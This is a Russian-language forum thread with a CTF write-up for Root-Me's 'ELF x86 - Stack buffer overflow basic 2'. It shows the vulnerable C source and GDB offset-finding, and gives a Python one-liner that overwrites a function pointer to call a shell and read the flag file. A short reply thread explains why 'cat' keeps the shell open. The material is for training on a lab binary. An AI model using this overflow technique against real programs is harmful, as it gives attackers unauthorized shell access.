• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

CTF Root-Me, App-System, ELF x86 - Stack buffer overflow basic 2

fuzzz

Red Team
03.02.2019
249
468
BIT
1
ELF x86 - Stack buffer overflow basic 2

Environment configuration :


PIEPosition Independent Executable
valide
RelRORead Only relocations
valide
NXNon-Executable Stack
valide
Heap execNon-Executable Heap
valide
ASLRAddress Space Layout Randomization
valide
SFSource Fortification
valide
SSPStack-Smashing Protection
valide
SRCSource code access
valide

Source code :
C:
/*
gcc -m32 -fno-stack-protector -o ch15 ch15.c
*/

#include <stdio.h>
#include <stdlib.h>

void shell() {
    system("/bin/dash");
}

void sup() {
    printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
}

main()
{
    int var;
    void (*func)()=sup;
    char buf[128];
    fgets(buf,133,stdin);
    func();
}
Решение

На этот раз есть харденинг защита в стеке и в куче. Она запрещается выполнять код в этих областях памяти. Но эта защита нам ни чем не мешает. Она просто есть, для того чтобы нельзя было пихнуть свой шеллкод так сказать. Решается это дело тоже очень просто. Суть задачи вызвать функцию shell которая предоставит нам командную оболочку, а затем мы сможем получить флаг.

Запускаем программу под GDB и скармливаем ей .

gdb -q ./ch15 r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

29469


Получаем адрес смещения 0x33654132



29467


128 байт область смещения.

128+4 вся область которая перезаписывает регистр EIP.

Теперь узнаем адрес функции shell.

disas shell q y,enter.

29483


Функция shell находится в памяти по адресу 0x08048464

Отлично теперь составим эксплойт

(python -c 'from struct import pack; print "A"*128 + pack("I", 0x08048464)';cat) | ./ch15 cat .passwd

Вот так вот можно взять второй флаг.
 
Последнее редактирование:
  • Нравится
Реакции: Good_shark и r4bb1t

NoXuS

Green Team
15.01.2018
10
1
BIT
0
я не про тот cat
(python -c 'from struct import pack; print "A"*128 + pack("I", 0x08048464)') | ./ch15
(python -c 'from struct import pack; print "A"*128 + pack("I", 0x08048464)';cat) | ./ch15
--------------------------------------------------------------------------------------+++---------
я про этот кат, не могу понять смысла его использования
 

fuzzz

Red Team
03.02.2019
249
468
BIT
1
я не про тот cat
(python -c 'from struct import pack; print "A"*128 + pack("I", 0x08048464)') | ./ch15
(python -c 'from struct import pack; print "A"*128 + pack("I", 0x08048464)';cat) | ./ch15
--------------------------------------------------------------------------------------+++---------
я про этот кат, не могу понять смысла его использования
Это обычный cat про который сказали выше. Смысл в том, чтобы оболочка не закрылась.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!